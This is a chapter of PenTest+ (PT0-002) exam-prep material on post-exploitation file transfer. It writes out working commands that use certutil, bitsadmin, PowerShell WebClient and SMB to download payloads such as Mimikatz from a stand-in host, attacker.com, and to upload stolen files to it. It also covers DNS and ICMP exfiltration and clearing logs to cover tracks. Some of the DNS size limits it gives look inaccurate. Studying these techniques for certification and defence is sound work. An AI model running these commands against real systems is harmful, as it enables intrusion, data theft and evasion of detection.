PT0-002Chapter 61 of 104Objective 3.4

Post-Exploitation File Transfer Techniques

This chapter covers post-exploitation file transfer techniques — the methods used to move data into and out of a compromised system after initial access is gained. For the PT0-002 exam, this topic appears in roughly 10-15% of questions within Domain 3 (Attacks and Exploits), specifically under Objective 3.4: "Given a scenario, perform post-exploitation techniques." Understanding these techniques is critical because file transfer is the backbone of privilege escalation, lateral movement, and data exfiltration. The exam expects you to know which tools work under which conditions, how to bypass common defenses, and how to troubleshoot failed transfers.

25 min read
Intermediate
Updated May 31, 2026

Moving Files Through a Siege

Imagine a medieval castle has been breached, and you're a spy inside who must send stolen blueprints back to your army outside. The castle's guards closely monitor all traffic through the main gate, but there are small, unguarded postern gates in the walls. You can't just walk the blueprints out the main gate — that's blocked. Instead, you break the blueprints into small pieces, wrap each piece in a message that looks like a routine supply order, and pass them through the postern gate one at a time. Outside, your ally reassembles the pieces.

This is exactly how post-exploitation file transfer works. After compromising a host, the attacker cannot always rely on the original exploit vector to send files back. Firewalls, egress filtering, or application allowlists may block direct outbound connections. The attacker must use alternative "postern gates" — built-in OS tools like certutil, bitsadmin, or PowerShell — to transfer files in a way that blends in with normal traffic. Each tool has its own signature: certutil base64-encodes data and sends it as a web request; bitsadmin uses Background Intelligent Transfer Service (BITS) to queue files over HTTP; PowerShell can use WebClient or Invoke-WebRequest. The attacker chooses the tool that matches the allowed traffic profile, just as the spy chooses the postern gate that is least watched. If one gate is blocked, they try another. The goal is to exfiltrate data or download tools without triggering alarms.

How It Actually Works

What Is Post-Exploitation File Transfer?

Post-exploitation file transfer refers to the methods an attacker uses to copy files to or from a compromised host after initial access has been established. This is distinct from the initial exploit delivery (e.g., phishing payload) because the attacker now has a foothold and needs to bring in additional tools (e.g., privilege escalation scripts, password dumpers) or exfiltrate data (e.g., hashes, documents). The challenge is that the compromised host may have restrictive outbound firewall rules, application allowlisting (AppLocker, WDAC), or network monitoring that blocks obvious transfers. The attacker must use built-in OS utilities that are often allowed by default, or abuse legitimate protocols like HTTP, HTTPS, SMB, DNS, or ICMP.

Why Built-in Tools?

Using built-in tools reduces the chance of detection because they are signed by Microsoft, run from trusted locations (e.g., C:\Windows\System32), and often generate logs that blend in with normal admin activity. Examples include: - certutil.exe: A command-line tool for managing certificates, but it can also base64-encode/decode files and download content via HTTP/HTTPS. - bitsadmin.exe: Manages Background Intelligent Transfer Service (BITS) jobs; can download/upload files over HTTP/HTTPS. - PowerShell: With cmdlets like Invoke-WebRequest, Invoke-RestMethod, Start-BitsTransfer, or System.Net.WebClient. - cscript/wscript: Can run VBScript or JScript that uses XMLHTTP or ADODB.Stream objects. - ftp.exe: Native FTP client, though often blocked. - net use + copy: Uses SMB to copy files from a network share; requires outbound SMB (port 445) which may be blocked. - scp/pscp: If SSH is installed (e.g., Windows 10/11 with OpenSSH client).

How certutil Works for File Transfer

certutil -urlcache -f http://attacker.com/payload.exe payload.exe downloads a file and caches it. The -f flag forces a fresh download. The tool uses WinHTTP, not WinINet, so it respects system proxy settings. It can also base64-encode a file: certutil -encode inputfile output.b64 and decode: certutil -decode input.b64 output.exe. On the exam, remember that certutil is often used to bypass proxy restrictions because it can use WinHTTP.

How bitsadmin Works

bitsadmin /transfer jobname /download /priority high http://attacker.com/tool.exe C:\temp\tool.exe creates a BITS job that downloads the file. BITS is designed to use idle network bandwidth and can resume interrupted transfers. It uses HTTP/HTTPS and is commonly allowed through firewalls because it uses the same ports as web browsing. BITS jobs are visible in the BITSAdmin console or PowerShell Get-BitsTransfer. The exam may test that BITS is slower than direct downloads but more stealthy.

PowerShell File Transfer Methods

PowerShell offers multiple ways to transfer files: - WebClient: (New-Object System.Net.WebClient).DownloadFile('http://attacker.com/payload.exe', 'C:\temp\payload.exe') - Invoke-WebRequest: Invoke-WebRequest -Uri http://attacker.com/payload.exe -OutFile C:\temp\payload.exe (alias: iwr) - Invoke-RestMethod: For REST APIs, but can download files. - Start-BitsTransfer: PowerShell wrapper for BITS: Start-BitsTransfer -Source http://attacker.com/payload.exe -Destination C:\temp\payload.exe - Net.WebClient.UploadFile: For exfiltration: (New-Object System.Net.WebClient).UploadFile('http://attacker.com/upload', 'C:\secrets\hashes.txt')

PowerShell logging (ScriptBlock, Module, Transcription) can reveal these commands. Attackers often obfuscate the payload or use reflection to avoid logging.

File Transfer via SMB

If the attacker has credentials or a pass-the-hash token, they can mount a remote share: net use Z: \\attacker\share password /user:domain\user then copy file Z:\. This requires outbound SMB (TCP 445) which is often blocked at the perimeter. However, inside the same network, SMB is commonly allowed. The exam may ask about using copy or robocopy over SMB.

Exfiltration via DNS

When all else fails, attackers can encode data in DNS queries. Tools like dnscat2 or custom scripts send data as subdomain labels: data.attacker.com. The DNS server logs the query, and the attacker captures it. This is slow but very hard to block because DNS is essential. The exam expects you to know that DNS exfiltration uses TXT or A record queries.

Exfiltration via ICMP

ICMP echo requests (ping) can carry data in the payload field. Tools like icmpsh or nping embed data in ICMP packets. Many networks allow ICMP, but deep packet inspection can detect anomalies. The exam may test that ICMP exfiltration is limited by packet size (typically 56-64 bytes of payload).

HTTP/HTTPS Tunneling

Tools like Tunna or Chisel create a tunnel over HTTP/HTTPS to forward traffic. The attacker sets up a server that accepts HTTP requests, and the client on the compromised host makes outbound connections to it. Data is encapsulated in HTTP headers or body. This mimics normal web traffic.

Compression and Encoding

Before transfer, files are often compressed (e.g., with Compress-Archive or tar) and encoded (base64) to reduce size and avoid binary content detection. Base64 increases size by ~33%, but it ensures safe transmission over text-based protocols.

Antivirus and EDR Evasion

Modern EDR solutions monitor for suspicious use of certutil, bitsadmin, and PowerShell. Attackers may rename executables, use alternate data streams, or load tools directly into memory (e.g., PowerShell reflection). The exam may ask about using cscript with an XMLHTTP object to download a file because it is less monitored than PowerShell.

Summary of Key Commands

certutil -urlcache -f http://attacker.com/payload.exe payload.exe

bitsadmin /transfer job /download /priority high http://attacker.com/payload.exe C:\temp\payload.exe

powershell -c "(New-Object Net.WebClient).DownloadFile('http://attacker.com/payload.exe','payload.exe')"

copy \\attacker\share\payload.exe C:\temp\ (after net use)

cscript /nologo download.vbs where download.vbs uses XMLHTTP

certutil -encode file.bin encoded.b64 and certutil -decode encoded.b64 file.bin

Interaction with Firewalls and Proxies

Outbound HTTP/HTTPS (ports 80, 443) are almost always allowed. Some corporate proxies require authentication; tools that use WinHTTP (certutil, bitsadmin) can use the system proxy settings, while .NET-based tools (PowerShell WebClient) may require explicit proxy configuration. The exam may test that bitsadmin uses the system proxy by default.

Detection and Prevention

Blue teams can detect these transfers by:

Monitoring for certutil.exe making network connections (unusual for a CA tool).

BITS job creation (event ID 59 in Microsoft-Windows-Bits-Client/Operational).

PowerShell script block logging (event ID 4104).

DNS query analysis for high entropy or long subdomains.

ICMP payload inspection.

As a pentester, you must know how to clear or minimize logs: using wevtutil to clear event logs, or running commands in memory only.

Exam-Specific Details

certutil: Can download files via HTTP/HTTPS; also can base64 encode/decode. Often used to bypass proxy authentication because it uses WinHTTP.

bitsadmin: Uses BITS; resumes on interruption; uses idle bandwidth; slower but stealthier.

PowerShell: Most versatile but most logged. Obfuscation is key.

SMB copy: Fast but requires outbound SMB (445).

DNS exfiltration: Slow, but bypasses most firewalls.

ICMP exfiltration: Very slow, small payloads.

HTTPS tunneling: Encrypted, mimics normal traffic.

Common Pitfalls

Assuming all outbound ports are open — always check with a port scan from the compromised host.

Forgetting that proxy authentication may be required — use tools that support NTLM/Kerberos.

Using a tool that is blocked by AppLocker — test with cscript or mshta if PowerShell is blocked.

Not encoding binary files for text-based protocols — base64 is your friend.

Step-by-Step Process for a Typical Transfer

1.

Reconnaissance: Determine what outbound protocols are allowed. Run Test-NetConnection or telnet to attacker IP on ports 80, 443, 53, 445, etc.

2.

Choose Tool: Based on allowed protocols and installed tools. Prefer built-in utilities.

3.

Set Up Listener: On attacker machine, start an HTTP server (python3 -m http.server 80) or netcat listener.

4.

Execute Transfer: Run the command on the compromised host.

5.

Verify: Check file hash or run the downloaded tool.

6.

Clean Up: Delete the downloaded file and clear logs if necessary.

Real-World Example

After exploiting a remote code execution vulnerability on a Windows server, the attacker needs to run Mimikatz. The server has outbound HTTPS allowed but blocks SMB. The attacker uses:

certutil -urlcache -f https://attacker.com/mimikatz.exe C:\temp\mimikatz.exe

Then executes it. The download appears as a certificate cache operation in logs, which may not raise immediate alarms.

Conclusion

Post-exploitation file transfer is a critical skill. The PT0-002 exam will test your ability to select the appropriate tool for a given scenario, recognize common pitfalls, and understand how each tool interacts with network defenses. Practice these commands in a lab environment to solidify your understanding.

Walk-Through

1

Recon Outbound Protocols

Before transferring any file, you must determine which outbound protocols are allowed from the compromised host. Use `Test-NetConnection` (PowerShell) or `telnet` to test connectivity to your attacker machine on common ports: 80 (HTTP), 443 (HTTPS), 53 (DNS), 445 (SMB), 21 (FTP), etc. For example: `Test-NetConnection attacker.com -Port 80`. If a port is open, the corresponding protocol can be used. Also check for proxy settings: `netsh winhttp show proxy` reveals if a proxy is configured. If a proxy is present, tools that use WinHTTP (certutil, bitsadmin) will automatically use it; .NET tools may require manual configuration. This step is crucial because choosing a blocked protocol will fail silently or trigger alerts.

2

Select Appropriate Tool

Based on the allowed protocols and available built-in tools, choose the best transfer method. If HTTP/HTTPS is allowed, certutil, bitsadmin, or PowerShell WebClient are good options. If only DNS is allowed, use a DNS tunneling tool like dnscat2. If SMB is open, net use + copy is fastest. If the host has strict AppLocker blocking PowerShell, use cscript with an XMLHTTP object. Consider stealth: bitsadmin is slower but less monitored than certutil. Also consider file size: for large files, compression and chunked transfer may be needed. The exam expects you to prioritize built-in tools over custom binaries to avoid detection.

3

Set Up Attacker Listener

On your attacker machine, start a service that can serve or receive the file. For HTTP downloads, use Python's SimpleHTTPServer: `python3 -m http.server 80`. For HTTPS, you can use a self-signed certificate with `openssl s_server -accept 443 -cert cert.pem -key key.pem`. For exfiltration, set up a netcat listener: `nc -lvnp 80 > received_file`. For DNS exfiltration, run dnscat2 server. Ensure the listener is reachable from the compromised host (no firewall blocking inbound on the attacker side). Note the IP address or domain name to use in the transfer command.

4

Execute Transfer Command

Run the chosen command on the compromised host. For example, using certutil: `certutil -urlcache -f http://attacker.com/tool.exe C:\temp\tool.exe`. Using PowerShell: `powershell -c "(New-Object Net.WebClient).DownloadFile('http://attacker.com/tool.exe','C:\temp\tool.exe')"`. For exfiltration, upload the file: `powershell -c "(New-Object Net.WebClient).UploadFile('http://attacker.com/upload', 'C:\data\secrets.txt')"`. If using SMB, first mount the share: `net use Z: \\attacker\share password /user:user` then `copy file Z:\`. Monitor the transfer for errors: timeouts, access denied, or proxy authentication failures.

5

Verify and Clean Up

After the transfer completes, verify the file integrity using a hash, e.g., `certutil -hashfile C:\temp\tool.exe MD5` and compare with the original. If the file is corrupted, retry with a different method or enable resume (BITS). Then, clean up traces: delete the downloaded file (`del C:\temp\tool.exe`), remove any BITS jobs (`bitsadmin /reset`), clear PowerShell command history (`Clear-History`), and clear event logs if possible (`wevtutil cl System`). Also remove any network drives (`net use Z: /delete`). This reduces forensic evidence. The exam may ask about cleanup steps to maintain operational security.

What This Looks Like on the Job

Enterprise Scenario 1: Penetration Test of a Financial Institution

During an internal penetration test at a bank, the tester gains access to a Windows file server via a phishing campaign. The server is heavily locked down: outbound SMB is blocked, PowerShell is restricted via AppLocker, and only HTTP/HTTPS traffic through a proxy is allowed. The tester needs to upload a privilege escalation tool. Using certutil -urlcache -f https://attacker.com/beacon.exe C:\temp\beacon.exe works because certutil is allowed by AppLocker (signed by Microsoft) and uses WinHTTP, which automatically authenticates to the corporate proxy. The download completes, but the tester notices that the proxy logs show a connection to a suspicious domain. To avoid detection, the tester later switches to using BITS with a legitimate-looking URL (e.g., a CDN) and schedules the transfer during off-peak hours. This scenario highlights the need to blend in with normal traffic and understand proxy behavior.

Enterprise Scenario 2: Exfiltration from a Classified Network

In a red team exercise for a government agency, the team compromises a workstation on a classified network that has strict egress filtering — only DNS and ICMP are allowed outbound. The team needs to exfiltrate a 10 MB database file. Using DNS tunneling, they split the file into chunks, base64-encode them, and send each chunk as a subdomain query to their own DNS server. The process takes hours due to rate limiting and query size limits (255 bytes per label, 64 KB per TXT record). They use a tool like dnscat2 to handle reassembly. This is slow but undetected by the firewall. The team also uses ICMP tunneling for small command output. This scenario demonstrates the importance of alternative protocols when standard ones are blocked.

Enterprise Scenario 3: Lateral Movement Across Servers

During a penetration test of a large e-commerce company, the tester compromises a web server and wants to move laterally to a database server. Both servers are on the same internal network with no firewall between them. SMB is open. The tester uses net use \\dbserver\admin$ /user:localadmin 'password' then copy mimikatz.exe \\dbserver\admin$\temp\. This is fast and reliable. However, the tester must ensure the account used has admin rights on the target. This scenario shows that when network controls are absent, simple file sharing over SMB is efficient.

Common Misconfigurations

Proxy authentication: Many testers forget that .NET-based tools (PowerShell WebClient) do not use system proxy settings by default, causing transfers to fail in proxied environments. Use [System.Net.WebRequest]::DefaultWebProxy = [System.Net.WebRequest]::GetSystemWebProxy() to fix.

AppLocker blocking: If PowerShell is blocked, try cscript with VBScript or mshta with HTA files.

File size limits: Base64 encoding increases size by 33%; DNS has strict length limits; ICMP has payload limits. Always consider the overhead.

Logging: Event logs can reveal the transfer. Testers must know how to clear logs or use in-memory techniques.

How PT0-002 Actually Tests This

PT0-002 Objective 3.4: Post-Exploitation Techniques

This objective specifically includes "file transfer" as a key technique. The exam tests your ability to choose the correct tool for a given scenario, understand the underlying protocols, and recognize detection mechanisms. Expect scenario-based questions where you must select the best method given constraints like firewall rules, AppLocker, or proxy settings.

Common Wrong Answers and Why Candidates Choose Them

1.

Using FTP when only HTTP is allowed: Candidates see "file transfer" and immediately think FTP, but FTP (port 21) is often blocked. The correct answer is usually certutil or PowerShell WebClient over HTTP/HTTPS.

2.

Choosing PowerShell when AppLocker blocks it: Candidates assume PowerShell is always available, but in locked-down environments, it may be blocked. The exam will mention "AppLocker blocks PowerShell" — then the correct answer is certutil or bitsadmin, which are signed and allowed.

3.

Using netcat for file transfer: Netcat (nc) is powerful but often not installed on Windows by default. The exam expects built-in tools. If the scenario says "only built-in tools available," netcat is wrong.

4.

Assuming SMB is always open: Candidates forget that outbound SMB (port 445) is often blocked at the perimeter. The scenario might say "firewall blocks outbound SMB" — then SMB copy is wrong.

Specific Values and Terms That Appear on the Exam

certutil: The -urlcache -f syntax. Know that it uses WinHTTP.

bitsadmin: The /transfer syntax. Know that BITS is designed for background transfers and can resume.

PowerShell: Invoke-WebRequest (alias iwr), Start-BitsTransfer, WebClient.DownloadFile().

DNS exfiltration: Uses TXT records; max TXT record size is 64 KB; subdomain label max 255 characters.

ICMP exfiltration: Payload field max 56-64 bytes; tools like icmpsh.

Base64 encoding: Increases size by ~33%.

Edge Cases and Exceptions

Proxy without authentication: Some proxies allow direct traffic; then no special handling is needed.

HTTPS with certificate pinning: May block self-signed certs; use a trusted certificate.

Windows 10/11 with OpenSSH: scp may be available if installed.

Linux compromised host: Use wget, curl, scp, nc, or python -c 'import urllib; urllib.urlretrieve(...)'.

How to Eliminate Wrong Answers

If the scenario mentions "restrictive egress filtering" and only DNS is allowed, eliminate all HTTP/SMB/FTP options.

If the scenario says "AppLocker allows only signed binaries," eliminate PowerShell scripts and choose certutil or bitsadmin.

If the scenario says "need to exfiltrate large files without detection," choose BITS or HTTPS tunneling over DNS.

Always check if the tool is built-in or requires installation.

Key Takeaways

Always check outbound protocol availability before choosing a transfer method.

certutil -urlcache -f is a reliable built-in downloader on Windows that uses WinHTTP.

bitsadmin uses BITS, supports resume, and is stealthier but slower.

PowerShell offers multiple transfer methods but is heavily logged.

DNS exfiltration uses TXT records or subdomain labels; very slow but bypasses most firewalls.

ICMP exfiltration has small payload limits (56-64 bytes).

Base64 encoding increases file size by ~33%.

AppLocker may block PowerShell; use certutil, bitsadmin, or cscript instead.

SMB copy requires outbound port 445; often blocked at the perimeter.

Clean up after transfer: delete files, clear logs, remove BITS jobs.

Easy to Mix Up

These come up on the exam all the time. Here's how to tell them apart.

certutil

Uses WinHTTP; automatically uses system proxy.

Synchronous; command blocks until download completes.

No resume capability; if interrupted, must restart.

Logs as certificate cache activity; less monitored.

Syntax: certutil -urlcache -f <URL> <output>

bitsadmin

Uses WinHTTP; also uses system proxy.

Asynchronous; runs in background; can be queued.

Supports resume if interrupted.

Logs BITS job creation (event ID 59); more monitored.

Syntax: bitsadmin /transfer /download /priority high <URL> <output>

Watch Out for These

Mistake

PowerShell is always available for file transfer on Windows.

Correct

PowerShell can be disabled via Group Policy or blocked by AppLocker. In such cases, use certutil, bitsadmin, or cscript with VBScript.

Mistake

certutil can only handle certificate operations, not file downloads.

Correct

certutil has a `-urlcache` option that can download any file over HTTP/HTTPS. It is commonly used for file transfer because it is signed and uses WinHTTP.

Mistake

BITS transfers are instant and fast.

Correct

BITS is designed to use idle network bandwidth and can be slow. It is stealthier but not suitable for time-critical transfers.

Mistake

DNS exfiltration is fast because DNS is lightweight.

Correct

DNS exfiltration is very slow due to size limits (max 255 bytes per label, max 64 KB per TXT record) and rate limiting. It is only used when no other protocol is available.

Mistake

SMB is always allowed on internal networks.

Correct

Many modern networks block SMB outbound to the internet, and even internally, SMB may be restricted between segments. Always verify with a port scan.

Do You Actually Know This?

Reveal each answer, then mark whether you got it right. Score 60%+ to unlock the next chapter.

Frequently Asked Questions

How do I transfer a file using certutil in Windows?

Use the command: `certutil -urlcache -f http://attacker.com/file.exe C:\temp\file.exe`. The `-f` flag forces a fresh download. certutil uses WinHTTP, so it respects system proxy settings. This is a common method because certutil is signed by Microsoft and often allowed by AppLocker.

What is the difference between bitsadmin and certutil for file transfer?

bitsadmin uses the Background Intelligent Transfer Service (BITS), which runs asynchronously, supports resume, and uses idle bandwidth. certutil is synchronous and does not support resume. bitsadmin is stealthier but slower. Both use WinHTTP and work through proxies. Choose bitsadmin for large files or when you need to avoid network congestion.

How can I transfer files if only DNS is allowed outbound?

Use DNS tunneling. Tools like dnscat2 encode data in DNS queries (e.g., subdomain labels or TXT records). The attacker sets up a custom DNS server that logs queries. This is slow but bypasses most firewalls. On the exam, remember that TXT records can hold up to 64 KB, but each query is limited to 255 bytes per label.

Can I use PowerShell to download files if AppLocker blocks it?

If AppLocker blocks PowerShell.exe, you cannot run PowerShell scripts. However, you might still use PowerShell via alternate methods like `powershell -Command` if the executable is allowed. But if AppLocker blocks all PowerShell, use certutil, bitsadmin, or cscript with VBScript instead.

How do I exfiltrate a file using HTTP POST?

Use PowerShell: `(New-Object System.Net.WebClient).UploadFile('http://attacker.com/upload', 'C:\file.txt')`. On the attacker side, set up a netcat listener: `nc -lvnp 80 > received_file`. Alternatively, use a Python Flask server that accepts POST requests.

What is the best way to transfer files when both HTTP and SMB are blocked?

If HTTP and SMB are blocked, try DNS or ICMP tunneling. DNS tunneling is more reliable but slow. ICMP tunneling is even slower and may be flagged by IDS. Another option is to use HTTPS if port 443 is open, as it often is. If all else fails, use a physical medium (USB) or social engineering to get the file out.

How do I clear BITS jobs after a transfer?

Use `bitsadmin /reset` to remove all BITS jobs. Alternatively, list jobs with `bitsadmin /list` and remove specific jobs with `bitsadmin /cancel <jobname>`. Clearing BITS jobs reduces forensic evidence.

Terms Worth Knowing

Ready to put this to the test?

You've just covered Post-Exploitation File Transfer Techniques — now see how well it sticks with free PT0-002 practice questions. Full explanations included, no account needed.

Done with this chapter?